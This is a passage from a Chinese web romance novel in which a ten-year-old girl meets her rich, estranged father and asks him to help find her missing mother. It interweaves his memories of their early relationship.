方姨看了看紧闭的大门,又看向尹岚,问道:“夫人,程小姐有消息了吗?” 尹岚长长叹息,摇了摇头,说:“她走的那天晚上,程溪去东子公司找过他,在休息室睡了一夜,天亮自个儿悄悄走了。东子说,没准她到了地方,会联系我,知会我一声,可是现在都没消息!唉,也怪我,最开始那会儿,反对她和东子在一起,她心里啊,肯定多少对我有些怨恨……” 说着,尹岚不由得红了眼眶。 方姨一边泡茶一边说道:“您千万别这么想,程小姐不会怨恨您的,她最知冷知热,知好歹。您是不知道,她以前常跟我说您有多好多好,待她多好多好。说您比她的妈妈对她还要好!她妈妈不拿她当自己女儿,您待她倒像是待亲生女儿一样。她对您感激不尽,只是有时候没好意思说出口,怕您觉得矫情。” 尹岚激动道:“真的吗?她真是这么跟你说的?” 方姨苦笑:“我骗您干嘛呀!” 尹岚笑了笑,语气几分埋怨,更多的,却是欣慰:“这孩子也真是,怎么不直接跟我说呢!不过知道她这么跟你说,我心里啊,舒服多了!” 方姨也笑了笑:“能宽慰到您就好。” 两人一起聊天,一起出门散步,顺便去了趟超市买了些菜回来。 下午,方姨做好晚饭,尹岚打电话给周衍东,问他回不回来吃饭,尽管知道他八成会加班或者应酬,听他嘴里说出“不回来”三个字时,她仍是难免失望。 尹岚看着正在盛饭的方姨,问道。 方姨叹一口气:“可不是嘛,少爷工作太忙,很多时候都顾不上程小姐,又不允许程小姐出去上班,她呢,也不太爱出去社交,在京州没朋友,猫在家里的时间居多,肯定闷得难受,她很少跟我抱怨这个,都是夸少爷好,说很知足,少爷给了她衣食无忧的生活。 “我跟她朝夕相处,怎么会不知道,她是真开心还是假开心?唉,他俩分了也好,程小姐再也不用像被关在笼子里的鸟,成天被困在这方寸之间,没了自由。” 说完,方姨又是一声长叹。 尹岚听了这些话,心里越发难受,端起碗吃饭,饭菜都很香,可她吃着味如嚼蜡。 尹岚从搬进这套公寓起,除了外出旅游,再没搬出去过,一住就是十一年。 这十一年来,陪她最多的人,不是儿子,反倒是方姨。 程溪离开后,周衍东待在公寓的时间,比以往更少。 尹岚想看儿子一眼,都得提前打电话,问他能不能回来,要是他说能,她就熬着不睡,等到很晚才见着他。 程溪离开的第五年,尹岚劝过儿子,说他老大不小了,该考虑考虑个人问题了,他总以太忙为理由,压根没再接触别的女人。 至于真正原因,尹岚心里门儿清。 到了程溪离开的第八年,她找了个机会挑破,说道:“东子,有时候,人不能一直钻死胡同啊……” 周衍东当然知道母亲什么意思,揣着明白装糊涂:“我这辈子,就这么过也挺好。” 不等她再开口,周衍东直接起身离开。 后来尹岚就不敢多嘴了,因为每一次明里暗里提程溪,儿子都会很长时间不回来。 直到第十一年。 程溪走的第十一年,她没有回来,跟她有关的一个女孩儿,却回来了。 第45章 他的女儿。 程妙瑾第一次见到父亲, 是在十岁那年。 被郑尧带去办公室时,她大胆而冷静的目光在他身上停留许久。 作为父亲的特别助理,这男人有着让她意料之中的精英感,同时又长了一张出乎意料的英俊面庞。 “我爸爸跟你一样高, 一样帅吗?”通往大厦顶层的董事长专属电梯里, 程妙瑾看着郑尧, 努力做出十岁女孩该有的天真懵懂模样。 其实她早在网上看过父亲长什么样。 郑尧一眼看透这个成熟早慧的孩子,不说破, 淡笑着摇头:“周总一表人才,我自愧不如。” “那他应该跟你一样温和吧?”前面那个问题只是铺垫, 这才是程妙瑾真正想知道的。 她可不希望跟一个傲慢又狂躁的霸道总裁打交道。 这问题难住了郑尧。 老板平日虽沉稳,惹急了性子也暴, 不发脾气相安无事,发起脾气来没谁镇得住。 郑尧想了想,说道:“周总是个……理智的人。”再理智的人也会发火, 所以这样回答不算骗她。 程妙瑾点点头。 那八成就是难搞的少爷脾气了——正如母亲日记里所写的那样。 她总能听懂言外之意。 “他不喜欢为难别人吧?”程妙瑾再次试探。 “周总不会,没必要这样。”郑尧这话半真半假。老板确实不爱为难谁, 倒不是因为没必要, 主要是他就没把谁真正放在眼里过。 前年竞争对手用恶劣手段抢走公司一个项目,郑尧气得茶不思饭不想, 老板上午摔了套茶具, 下午把酒言欢, 还给他喂心灵鸡汤。 “犯不着生气, 生气就正中他们下怀,得跟没事儿人一样,大象是看不见蚂蚁的。” 去年,竞争对手破产了。 圈里传闻周总做的局。 对手破产那天, 老板把他叫到办公室,问他高兴么,他说高兴。 老板又问记不记得自己说过一句话,他说“大象是看不见蚂蚁的”。 周总懒散靠着椅背,偏着头笑起来,指尖轻点桌面:“这话还有后半句——‘但可以踩死’。” 郑尧没法告诉这个孩子,她的父亲不爱为难谁,因为他目中无人,搞谁都不是问题,最喜欢也最擅长放长线钓大鱼,然后统统一锅端。 孩子再成熟早慧,也不该让她过早接触社会和成人的阴暗面。 郑尧在回忆中恍神的功夫,电梯到达最顶层。 他抬手做了个“请”的姿势,让程妙瑾先出。 专属电梯十米左右距离,一扇房门旁标注“董事长办公室”,程妙瑾在门口停下脚步。 郑尧按下门铃。 程妙瑾问:“办公室而已,有必要装门铃?” 郑尧淡笑,双手交叠垂下,以恭敬的姿势伫立等待。 约莫半分钟后,门上的电子屏传出声音。 “进来。” 短短两个字说完,那边仓促挂掉。 门锁自动打开。 郑尧推开门,领着孩子往里走。 程妙瑾这才发现自己刚才那话问得多穷酸。 父亲的办公室,跟她现实中见过的写字楼办公室完全不同,就连电视上的,也从没这么大。 程妙瑾怀疑这是在顶层建了栋别墅。 环顾四周不见父亲身影,程妙瑾正纳闷,旁边郑尧说道:“周总在休息室,您先稍等。” 郑尧带着她走到沙发边,正准备给她倒茶,想起小孩不宜喝茶,便倒了一杯纯净水。 这里只有茶叶和咖啡,三楼茶水间倒是有牛奶和饮料,食堂也售卖各种饮品,但郑尧不确定老板愿不愿意给自己女儿喝这些东西。 还是纯净水更稳妥。 “您坐,周总可能要过会儿才出来。”郑尧将水递给程妙瑾。 程妙瑾接过杯子,摇摇头,站着喝了半杯水,将杯子放在形状奇特的檀木茶几上。 “他在里面吗?”程妙瑾目光看向斜前方一扇深棕色的门。 “是的,那是休息室,里面配有卧室,书房和浴室。”郑尧介绍道。 还真是把别墅建到大厦顶层了。程妙瑾往上指了指:“休息室该不会直通天台,上面也有个房间吧?” “没有的。”小孩儿想象力真丰富,郑尧看着这张跟老板仿佛一个模子刻出来的脸庞,恍然间似乎能看到这姑娘长大后的模样。 与老板不同的是,孩子皮相虽冷,面容却柔和许多,没有老板那种不近人情的狠戾。 估计遗传了母亲的温顺良善——郑尧猜测,他从未见过孩子母亲,更难以想象,什么样的女人敢偷偷生下老板的孩子。 又偷偷养到这么大才送过来认亲。 不过仔细观察,孩子那双漂亮非凡的眼睛里,目光倒是跟她父亲如出一辙,冷冽又坚毅。 “他不会还在睡觉吧?”程妙瑾看看墙上时钟,已经中午十二点了。 又是个让郑尧难以如实回答的问题。 从他入职公司起,直到现在,严格来说应该是今天之前,老板一直是个自由的单身汉,几点起几点睡,全看他心情。 但以后就不确定还是不是单身汉了,毕竟亲闺女上京认爹的狗血桥段都开始上演,孩子妈出场的剧情还会远吗? “周总每天公务繁忙,有时会熬夜加班。”郑尧答得点到为止。 确定不是熬夜花天酒地?这话自然没问出口,程妙瑾也懂怎么点到为止。 母亲教给她很多规矩,比如“碰见熟人要微笑打招呼”。可惜她没遗传多少母亲的亲切友善,碰见熟人只想低头假装没看到,更何况那些都是母亲的熟人,她跟他们只能算点头之交罢了。 再比如“凡事要懂得留有余地,不能做得太过”。母亲凡事喜欢留退路,但程妙瑾认为某种程度上这是自卑和怯懦。 不够信任自己也不够勇敢的人才喜欢留退路。 他们没有意识到,很多事情不留退路也能做得很好,甚至比留有退路做得更好。 破釜沉舟的力量更大,不是么? 郑尧往空出一半的杯子里续水,看了看休息室,目光转向孩子:“您稍等,周总应该快出来了。我先去处理工作,有什么事随时电话联系。” 他往门口走,很快冲他背影叫道:“哥哥。” 郑尧停下脚步,回头时,神情有些惊讶。 “我才十岁,只是个普通孩子,没必要总对我用敬称。”“您”啊“您”的,程妙瑾听着真不习惯。 从这孩子脸上表情看,估计确实不喜欢被人用敬称。 他点点头,笑着开口:“你也不用叫我哥哥,我比你大十八岁来着。” 看上去还挺显年轻,程妙瑾没想到他都二十八了。 “所以应该管你叫叔叔?”程妙瑾记得他自称姓郑,“郑叔叔?” 郑尧难得不用那副公式化精英笑容对人,嘴咧得更开:“好的,小朋友。” 虎牙一露出来,越发显年轻。 办公室门轻轻合上。 沉静之中,程妙瑾感觉到某种无声无形的力量在裹挟自己。 办公室宽敞得超出想象,偌大的地方,却仿佛只有她周身窄小这一块有空气。 这种窒息感来源于即将与素未谋面的父亲相认的尴尬? 亦或是对父亲不肯与自己相认这种可能性的恐惧? 都有。但并不全是。 程妙瑾闭上眼深呼吸,试图缓解这些负面情绪。 一闭眼,母亲的脸就在脑中浮现。 程妙瑾瞬间明白,窒息感的主要来源是因为焦虑。 这些日子她不断劝慰自己,然而内心始终架着一把火,火势由大变小,她的心也从无时无刻备受煎熬变成隐隐作痛。 火还没有熄,她仍无法摆脱焦灼。 茶香在空气中弥漫,带着淡淡清甜的气味。不是茶叶煮泡散发的味道。程妙瑾在书柜旁的置物架上找到了一瓶香氛。 她端起茶色水晶瓶,鼻子凑近瓶口深嗅,茶香甚浓。 这香气让她舒服了些,但很快,她放下瓶子,扭头看向休息室。 她可不想父亲一推门看见的画面是一个乡巴佬小姑娘捧着香氛瓶子闻得正起劲儿。 倪老板总夸她浑身上下散发着高级感,她只当这话是带了滤镜的恭维,并认为自己的优点之一就是很有自知之明。 倪老板是母亲最好的朋友,也是母亲的朋友中,唯一能跟她也成为朋友的人。 按理说她该管倪老板叫阿姨,母亲批评过她没大没小,但倪老板很喜欢被这样叫,不许她改称呼,母亲拿她俩没招。 倪老板崇尚的高级感,与“瘦”有着密不可分的关联,简单粗暴来讲,倪老板认为足够瘦,就意味着足够时尚与高级,她羡慕一切瘦子,永远在减肥,永远管不住嘴。 程妙瑾觉得自己被高看太多了。 她只是个干瘪的瘦子,照目前这猛涨个头不涨体重的趋势,要不了多久,就会进化成一根成精的电线杆子。 因此,程妙瑾对自己有着清晰的定位:来自十八线小城市,乡土气息浓厚的电线杆子。 母亲在日记里,也用“电线杆子”形容过年轻时的父亲。 看来胖瘦跟遗传关系挺大。 程妙瑾胡乱走神,直到休息室传来开门声。 新项目启动,忙得不可开交,郑尧上一个电话打完,不出半小时,又来一个。 周衍东心烦,接通给他骂一顿,那边默默挨着训,等他骂完才吱声:“周总,有个孩子找您。” 周衍东愣住,气笑了:“孩子找我?找我干嘛,找自己爹妈去啊!” “这孩子说您是她爸爸。”郑尧声音压低。 周衍东叼着烟,正准备点燃,又是一愣,夹走嘴里的烟,眉头皱得死紧:“什么玩意儿?” 郑尧:“公司来了个小姑娘,指名要找您,谁劝也不走,问为什么找您,她也不说。我把她带到办公室,这孩子才说是来找爸爸,一口咬定您就是她爸爸。” 周衍东望了望天,心里暗骂,这他妈什么破事儿。 不等他开口,郑尧又道:“她还提了一个名字。” 周衍东:“什么?” 郑尧:“程溪。她说您听到这个名字就明白了。” 周衍东足足沉默两分钟。 “这孩子叫什么?”再开口时,他嗓音微哑。 “程妙瑾,”郑尧严谨补充道,“女字旁的‘妙’,王字旁的‘瑾’。” 八月上旬,江城正值酷暑,太阳火球般明晃晃挂在天上,晒得周衍东发晕。 他闭了闭眼,又是好一阵沉默。 “她妈妈呢?”周衍东问。 “怎么问也不肯说。”郑尧心下感慨,这孩子年纪不大,嘴倒是够严实。估计要不是怕见不着周总,他都不能这么快得知周总有孩子的重磅秘密。 “我这边暂时走不开,给孩子安顿好,明天中午十二点带去我办公室。对了,这事儿别外传。”周衍东吩咐。 “好的,您放心。”郑尧以为这通电话算是打完了,等着他挂断,又听见他开口。 “孩子什么样儿?”周衍东走到路边树荫下,地上阴影缝隙之间,阳光依然晃眼。 他悄无声息叹一口气,把眼睛闭上。 “白,瘦,比同龄人高,”停顿片刻,郑尧补了一句,“跟您很像。” 又停顿片刻,郑尧提议:“要不拍张照发给您?” “不用。”周衍东斩钉截铁拒绝。 他心想,赶明儿就能见着了,没必要看照片。 越看心越乱,今天还有还有很多事情要忙。 忙完视察忙剪彩,忙完剪彩忙开会,忙完开会忙应酬……忙完今天的事儿忙明后天的——他得提前两天赶回去。 凌晨一点半,飞机落地京州。 周衍东拖着疲乏的身体走出机场。 深夜,这种地方并不安静,但极度的疲惫与困倦,使他产生一种不真实感,外界安静得出奇。 灵魂似乎从躯体中抽离,又未完全抽离,高出半截身子悬在上空,人与魂被套在看不见的罩子里,随着麻木的双腿迈出的沉重步伐漠然前行。 司机付明山站在车旁等候,恭敬打完招呼,不禁多了句嘴:“周总,您脸色不太好,要不要先去趟医院?” 岂止“不太好”,根本就是“太不好”。 周衍东挥手拒绝。他已经累得不想开口。 车流在墨蓝夜色下穿行不息,行驶中路灯变成一个个白色光点。周衍东闭上眼。 他想揉揉从接到那通电话起就开始突突直跳的太阳穴,也想揉揉因长时间皱眉而紧得发酸的山根,却连抬手都懒得。 车停在公寓楼下,付明山以为老板睡着了,准备叫醒他,他睁开眼,沉默片刻,开口嗓音沙哑:“回公司。” “还要处理工作吗?今晚先休息吧,身体要紧。”付明山见他脸色实在是差,真怕再这么累下去会出事。 “回公司休息。”周衍东今晚不想在公寓睡。 回公司估计就不会休息了,又要通宵达旦工作,付明山在老板看不见的前排微微摇头,想劝一劝,又怕老板嫌多嘴,便重新启动车子调头往公司开,没再说什么。 老板决定的事,旁人说什么也没用。 凌晨三点,东信大厦每层楼都有灯光未灭,有些甚至整层通明。 周衍东伫立在这座高楼前,创业点滴杂乱地涌进脑海,穿行于机场时的不真实感又浮现起来。 十一年。 他用十一年,打造了一个叫做东信的商业帝国。 他在十一年前,与一个叫做程溪的姑娘分开。 已经十一年了。 周衍东抬头仰望,漫无边际的深蓝夜幕静谧得如梦似幻。 灵魂刹那落回身体,他发出几不可闻一声叹息,迈开脚步走进大厦。 在极度疲惫的状态下彻夜未眠,后果是白天某个合眼的瞬间不经意,大脑突然被强制关机,沉沉睡去。 周衍东不记得自己什么时候睡着的,看了看手机,秘书打电话提醒他准备开早会时,是上午九点半。 挂断电话后,他似乎被人点穴,合眼便失去意识。 短短两个半小时的睡眠,周衍东做了一场梦。 与其说是梦,其实更像一场穿越。 梦里呈现的全是真实回忆。 多年前,与程溪在一起的头一年。 他们在共同居住的狭窄小屋里,他坐在床上,程溪跨坐在他腿上,拽着他衣服大笑,黑T领口被扯到锁骨,露出脖子下一片皮肤。 程溪看见锁骨旁斑驳的红痕,笑容消失,冷着脸问谁种的草莓。 他解释说自己挠的。 程溪自然不信,甩脸子跟他闹。 他气得发笑:“也有可能是过敏,我累得慌,你别无理取闹。” 程溪也气笑了:“怎么只有这里过敏,其他地方不过敏?” 他从没碰过别的女人,受冤枉没处说,忍着暴脾气嘀咕:“我哪知道。” 广城夏天跟火炉子似的,热不说,还闷得慌,在室外站几分钟就是一身汗,无形热浪裹得人喘气都费劲。 出去一趟衣服濡湿,回有空调的地方慢慢变干,就这样湿了干干了湿,每天回家都是一身汗臭。 昨天锁骨周围汗湿难受,他隔着T恤挠了挠,手有些重,洗澡时发现留了红印,没当回事,谁知这会儿都没消。 程溪趴他身上左闻右闻,试图寻找其他女人留下的气味,只闻到清爽香皂味。 “好哇,我说怎么一回来就洗澡,肯定是想掩盖罪证!” 程溪红了眼,嘴一撇,别过头落泪。 他脑瓜子嗡嗡叫,后背靠着沙发,扬起脑袋扶额:“从地铁站走回来得十五分钟,十五分钟!汗湿透衣服,不洗谁受得了?程溪,你别没事儿找事儿。” 那会儿他还没开上印磊那辆小货车,出行只能靠地铁和公交。 程溪没再作了,抬起手背抹泪,吸了吸鼻子,转头瞧着他,目光幽怨。 “周衍东,你看上我什么呀?”这话程溪问过不知道多少遍,从没得到过满意的回答。 没等他开口,程溪叹一口气,自言自语:“长这么帅,找谁不行偏偏找我……” 周衍东乐了,捧起她的脸揉了揉:“还不是因为宝宝主动?那句话怎么说来着,主动就会有故事。再说了,怎么就不能找你,找你犯法啊?” 程溪嘴又往下撇:“我哪哪儿都一般。颜值配不上你,个头矮你那么多,气质更是不如你,什么都差你老远……追你怎么这么容易啊!” 她原本看向别处,说到这,忽地扭头盯着他。 “周衍东,你别是在搞杀猪盘吧。” 他噗嗤笑出声,点点头:“嗯,我搞杀猪盘,骗不到钱就嘎腰子。” 程溪抱住他,脑袋靠在他胸膛。刚洗过澡,她蓬松的发丝上残留着果香洗发水气味。 头发弄得他有点儿痒,但味道很香。 他低头凑近深嗅,带着笑腔问:“现在知道怕了?” 程溪摇了摇头,不作声。 周衍东笑意更深:“这都不怕?” 程溪终于抬头,扬起唇角,眉眼弯如弦月:“不怕,因为相信你不可能骗我。” 周衍东:“刚才还觉着我外边儿有女人呢。” 程溪:“嘿嘿,诈一诈你。你周衍东什么都好,人品也顶好,就是时运不济,没投到好胎。你呀,得生在豪门才对得起你一身贵气!” 周衍东愣了,沉默片刻,又笑起来:“这么信我啊?” “当然!”程溪大叫。问的这是什么话。 她仰着头看他许久,他却低下了头。 程溪单纯得离谱,他是知道的。 或许小地方来的姑娘没见过什么世面,又或许她天生容易轻信于人,随便哄哄就当真。 愧疚在周衍东心里滋生。 但很快,他说服了自己。 他对程溪的感情是真,对她的好也是真。至于身世,背景,骗一骗瞒一瞒,又有什么大不了? “我现在分逼没有,穷得只能让你住城中村,跟着我受苦了。”他亲亲她额头。 她笑起来,晃了晃脑袋,认真看着他:“周衍东,你要没这么穷,身边的女人不会是我。” 他笑不出来,搂紧这个女孩,头埋进她温暖颈窝:“也就你傻,有情饮水饱。” 程溪:“等你飞黄腾达,赚大钱了,会不会不要我了?” 他收着力道掐一把她的腰,以示惩罚:“怎么可能。等我给你买这边地段最贵的房子,住别墅开豪车,豪门太太该有的,你一样不能少。” 程溪哈哈大笑,从他怀里直起身:“哇塞,说得就跟你是豪门少爷似的!” 周衍东:“我要说我真是,你信么?” 程溪:“我信你个鬼!哪有这么穷酸的豪门少爷!瘦死的骆驼比马大,人家就算家道中落,也不至于让太子爷穷到住城中村好吗?” 看吧,说了她也不信。 程溪抬起周衍东一条胳膊:“你现在发誓,指天发誓,以后发达了绝不抛弃我,要不然,天打五雷轰!” 周衍东始终觉得发誓这种举动无聊至极,不具任何威慑力,但程溪要求,他便配合,比出手势一本正经开口。 “我,周衍东,对天发誓:以后飞黄腾达,绝不抛弃程溪,否则天打五雷轰。” 夕阳余晖瞬间消散,狂风暴雨汹涌而至,头顶电闪雷鸣。 周衍东从梦中惊醒。 正午,阳光满室。 无风无雨无雷,梦境烟消云散。 然而他总觉得,梦里才是真的,此刻面前一切景象不过海市蜃楼。 十一年了。 原来他什么都没有忘。 休息室书柜旁挂钟时针指向十二点。 门外办公室传动静。郑尧和女孩的说话声。 室温二十六度,但那场梦让周衍东冷汗如雨。 他从沙发起身,走到衣柜前挑选衣服。 平时着装随意,今天不可以。 挑选好一会儿,他决定穿灰衬衫黑西裤。 迅速冲了个澡,洗掉身上汗味,穿好衣裤,又换了双看着不是那么商务的皮鞋,周衍东站在休息室门口,沉默几秒,按下门把。 第46章 你妈妈呢? 程妙瑾小时候梦见过父亲一次——虽然现在也没多大, 不过那时候可比现在小得多。 梦里父亲形象模糊,在黑漆漆的深夜抱着她。 父亲的怀抱很温暖,但衬衫有着凉丝丝的触感,透过冰丝质地的布料, 她的脸能感受到父亲胸膛传来的温度。 她在父亲怀里哭。 白天幼儿园最调皮那个同学骂她没爹的野种, 她冷冷看了他一眼, 没有哭,没有闹, 转身走掉。 她以为自己酷毙了,可还是在梦里哭了。 像只受伤的幼兽, 在父亲怀里委屈地呜咽一阵,然后嚎啕大哭。 父亲始终没有开口, 手掌轻拍着她后背安抚,过了会儿捧起她的脸,温柔地用拇指指腹拭去脸上泪水。 等她不哭了, 父亲起身离开,眼泪又夺眶而出, 她哭着追向父亲, 边哭边喊“爸爸”,那高大的背影在夜色中越行越远, 消失不见。 程妙瑾醒来时, 枕头都湿了。 母亲坐在床边握着她的手, 眉目担忧, 问她做噩梦了吗,她想了想,梦见父亲,理应是美梦, 可父亲头也不回地离开,结局实在谈不上美好。 她告诉母亲,没关系,只是做了个开头有点美好,结尾有点悲伤的梦。 母亲拥她入怀,笑着夸她小小年纪文思敏捷,她不懂什么叫文思敏捷,但明白这是一句夸奖,梦境带来的难过消散几分,心里好受了些。 不久前,程妙瑾在母亲的日记本上看到从母亲视角写下的这段回忆—— “妙妙应该是梦见她爸爸了,睡梦中哭着喊爸爸。虽然她多数时候很快乐,虽然她很少说想爸爸,可总会忍不住想的吧……或许是想爸爸了所以难过,又或许是难过了所以想爸爸。” 原来母亲什么都知道。 那是程妙瑾迄今为止唯一一次梦见父亲。 如今,梦境中隐藏在夜色里的父亲,即将有了清晰面目。 程妙瑾正盯着休息室的门走神,那扇深棕色的门忽然开了。 一个身形颀长的男人从里面出来。 程妙瑾预想过无数次与父亲相见的场景,私下练习过很多遍该有的反应,然而真到这一刻,她甚至忘了呼吸。 四目相对,周衍东也忘了呼吸。 作为一个久经历练的成年人,他迅速调整状态,自然而然扬起唇角—— 走到孩子跟前,周衍东移开目光,看了看别处,目光又落回孩子脸上,正要开口,孩子抢了先。 “我叫程妙瑾。”孩子看着他,表情淡淡的,少了几分这个年龄该有的童真。 周衍东点头。 “今年十岁了。”程妙瑾又道。 他仍是点头,默不作声走向沙发,坐下,往后挥了挥手。 程妙瑾懂这个示意,在他旁边的单人沙发上坐下,双腿并拢,双手放在膝盖上,浑身紧绷。 周衍东看出孩子紧张,笑了笑:“放松。” 嗓子沙哑,声音微颤,笑容僵硬,他也没轻松到哪儿去。 他试图以一种自然的目光打量孩子,唇角扬着,眉心却是皱的。 如郑尧所说,这孩子的确又高又瘦,皮肤冷白,让本就“生人勿进熟人靠边”的气质愈加清冷。 远山眉下,桃花眼眼尾微挑,卧蝉饱满,鼻梁高而挺拔,唇薄而轮廓分明——周衍东看着这张与自己八分相似的面孔,陷入沉思。 他不作声,孩子也没作声,默默打量着他。 程妙瑾看见一滴水顺着父亲发丝流到侧面额头,推测他应该匆忙洗完澡,胡乱吹了吹头发就出来了。 她很想问问父亲是不是睡到中午才起,又觉得这样不妥。 父亲似乎脾气不算好,又跟母亲分开多年,她不确定惹毛他,这人还愿不愿意帮忙。 她看着他身上这件深灰色衬衫,忽然想起曾经那个梦。 梦里夜色正浓,没有灯,没有光,黑暗中只有父亲隐约模糊的身形轮廓,可她感觉梦里父亲穿的就是这件灰衬衫。 “您还记得程溪吗?”不知过了多久,程妙瑾轻声开口。 周衍东点头。 “我是您跟她的……孩子。”最后两个字几乎变成气声,似乎羞于启齿。 周衍东点头。 她把父亲的沉默寡言当成冷漠疏离,低头看了看自己身上的地摊货:纯白T恤十五块,洗得发白的深蓝色牛仔裤二十五块,灰黑相间的运动鞋三十块。 身价百亿美金的东信集团董事长,与流落民间的穷酸女儿,没有感情基础就算了,站在他的角度看,甚至还可能出现利益牵扯,这么一想,父亲对她冷漠疏离倒也不稀奇。 “别误会,我不是来找您要钱的。”程妙瑾脊背挺得笔直,声音也清晰许多,生怕他听不清。 周衍东皱了皱眉:“可以要钱——我是说……” 他忽然语塞,薄唇抿成直线,停顿一小会儿,才又抬眸看着她开口:“你妈妈呢?” 程妙瑾:“失踪了。” 谢天谢地,终于说到正题。程妙瑾紧盯着父亲,观察他的反应。 这个回答确实让父亲面露震惊。 “失踪了?”周衍东心脏猛地一提,偏着头,眉头皱得更深,难以置信。 程妙瑾点点头。 周衍东:“失踪多久了?” 程妙瑾:“算上今天的话,一个星期。” 周衍东:“报警了么?” “嗯,那天放学回家,妈妈不在,我以为她出门买菜,六点她还没回来,电话打不通,关机了,我就打给倪老板——” 怕他听不明白,程妙瑾解释道,“倪老板是妈妈和我的好朋友,开了家民宿,我们经常找她玩。” 周衍东沉着脸点点头,示意她继续。 “我问倪老板妈妈在她那儿么,她说不在。又等了半小时,妈妈电话还是关机——第二天早上我发现她手机在沙发缝里,没电自动关机了。那晚倪老板直接来我家,给她们所有共同认识的朋友打电话,谁都不知道妈妈在哪,也联系不上她,等到十点,倪老板带着我去派出所报警。 “警察说成年人失踪二十四小时后直系亲属能去报案,但立案需要四十八小时后才行。等时间够了,我带着出生证又去派出所——需要证件证明我和妈妈的关系。 “警察调监控查行踪,我感觉效率并不高,总之就是一时半会儿找不着人……” 说到这,程妙瑾泛红的眼眶已经饱含泪水。 周衍东沉着脸,面色森冷凝重:“她最后出现在监控里是什么时候,在哪儿?” 程妙瑾:“失踪那天下午三点十五分,在我们那一家老商场附近,那附近有些监控坏了,就再没看到妈妈行踪。” 她停顿片刻,叹了口气,小声说道:“十八线小城市,又穷又破,很多设施不完备。” 周衍东抬起低垂的目光看向她。 “所以你才决定向我这个——”周衍东顿了顿,“这个父亲求助?” “父亲”两个字说得有些吃力,他觉得别扭。 本来想说的是“爹”,这字儿怎么听都太随意,闹着玩儿似的,他还是扭捏地改成了“父亲”。 周衍东的扭捏,被程妙瑾误解成不情愿。 她对父亲很失望,他比她以为的更没有担当。 “您愿意帮我找程溪吗?” “当然,”周衍东毫不犹豫,“先告诉我你们那儿是哪里。” 没想到他答应得这么干脆,程妙瑾愣了愣,赶忙开口:“云安省容今市。容今原来是省会云州的一个小村镇,后来划分出去成了市,地区扩大了,可经济没怎么发展起来,还是挺穷挺落后的。” 周衍东看着她沉默好一会儿。 她被看得有些窘,将耳边碎发拢到耳后,低头盯着放在腿上的手。 “我在那里出生长大,看我就能看出那地方经济不太行是吧?”程妙瑾知道自己看上去有多穷酸,“其实我们过得还行,妈妈从小教育我,不要掉入消费主义陷阱,所以我对名牌什么的并不痴迷。” 在得知自己有个身价不菲的首富父亲前,她从未因为穿地摊货而感到自卑。 如果别人嫌她穷酸,她会认为是别人的问题。如果父亲嫌她穷酸,她依然认为是父亲的问题,可她也会难过。 因为父亲不是别人。 周衍东察觉到孩子的紧张与窘迫,侧了侧头,微微皱眉:“你妈妈是对的。我不是你想的那个意思,只是……只是有点儿疑惑。” 程妙瑾心里松快些,也侧了侧头:“疑惑什么?” 周衍东:“你真的只有十岁?” 这孩子沉稳聪慧得不像话。别说同龄人,就连很多成年人,也做不到她这般口齿伶俐头脑清晰。 程妙瑾从书包里拿出手机,打开相册,找出一个多月前的几张照片,指着照片上的日期。 “六月十五号,过生日那天拍的。” 周衍东起身走到她跟前,接过手机,在碎了几道缝的屏幕上,看见了程溪与孩子的合照。 照片中,程溪搂着女儿,母女俩脸贴脸,笑容灿烂。 周衍东目光停在程溪脸上许久,发现她似乎变了很多,又似乎什么都没有变。 分开以前,程溪留着一头乌黑顺直的长发,照片上,头发变成有深棕色大波浪,皮肤依然细腻白皙,脸比印象中瘦了些,一双杏眼含着盈盈笑意,如初见那天。 漂亮好多。 可打眼看去,仍能瞬间认出。 程溪还是程溪,那个面目柔和,总是笑眼看人的程溪。 第47章 女儿像他。 “您能帮忙找找她吗?”孩子声音带着哀求, 可怜巴巴望向周衍东,“您那么有钱,人脉也广……” 周衍东没有说话,目光依然停留在照片上。 他很想左右滑动, 看看其他照片里的程溪, 但这属于冒犯隐私行为, 他管住了手。 “求您帮我找找妈妈!”程妙瑾哭出声,正要跪下, 被他握住胳膊阻止。 握住孩子两条胳膊,他才惊觉, 孩子竟然这么瘦。 肉眼看去已经够瘦了,直到握住, 触感是真实的,可她瘦得不真实。 周衍东将孩子拉起来。他想抱抱女儿,又不知此刻做出这种亲密举动会不会惹她反感, 于是牵着她的手,回到长排沙发, 让她坐下。 人在当地算得上数一数二的富豪, 路子多人脉广。 除此之外, 他也联系了其他几个应该能帮得上忙的朋友。 十五分钟后, 周衍东从休息室出来。 “等消息吧, 那边会加紧调查的,我也会……”也会用些野路子找人。周衍东戛然而止,没把话说全。 孩子聪明到这个份儿上,自然懂他什么意思, 可她毕竟还小,有些话没必要拿到台面上讲。 “谢谢……”程妙瑾目光满是感激,眨眼之间泪珠滚出,她抬起手背抹了抹泪,下一秒便看见父亲递来纸巾。 程妙瑾摇摇头,仍用手背抹着泪,周衍东递纸巾的手也没缩回去,捏着纸巾一角,轻轻在她脸上拭泪。 “谢谢周——”周总,周叔叔,还是爸爸?怎么叫都感觉别扭,程妙瑾吸一口气,带着浓浓的鼻音问,“不用调查一下吗?一点都不怀疑我在骗你?” 周衍东摇着头笑了,没作声。 这反应倒是弄得程妙瑾不自在,她摸摸后脑勺,低头小声开口:“我劝您还是去做个亲子鉴定,省得以后疑神疑鬼,万一咱俩意见不合闹掰,我怕您帮忙帮到一半不管了……” 周衍东走到平时整理着装的那面镜子前,招了招手,让孩子过来。 “咱俩像么?”他问。 镜子里虽然有两张脸,但两张脸像一个模子里刻出来的。 程妙瑾盯着镜子,点了点头。 “很久以前,你妈妈跟我说过,如果我们有了孩子,儿子叫奕瑾,女儿叫妙瑾。”说这话时,周衍东别过头看向落地窗外。 程妙瑾也转过头来,目光停在父亲侧脸。 这是一张让她熟悉到震惊的侧脸,他们太像了。侧脸更像。 就连鼻梁上端微微凸起的鼻节都几乎一模一样。 此刻程妙瑾依然无法与父亲建立普通父女之间习以为常的亲密感,她只是暗暗为奇妙的基因惊叹。 从小就没人说过她像母亲,母亲也说,辛辛苦苦怀孕分娩出来的孩子,到头来只有两分像自己。母亲笑着说这话,脸上没有不开心的意思。 看了那本日记,程妙瑾才知道,原来母亲总嫌自己不够漂亮,认为孩子模样很像周衍东这事,算得上是一种幸运。 “怎么找到我的?”周衍东问。 以他对程溪的了解,她不可能主动告知女儿关于生父的真实详细信息。 程妙瑾从书包里取出一个本子,“这是妈妈的日记本,里面提过您,我抱着试一试的心态,在网上搜索名字,发现咱俩长得很像,一些其他信息也对得上。” 她将本子递过去。 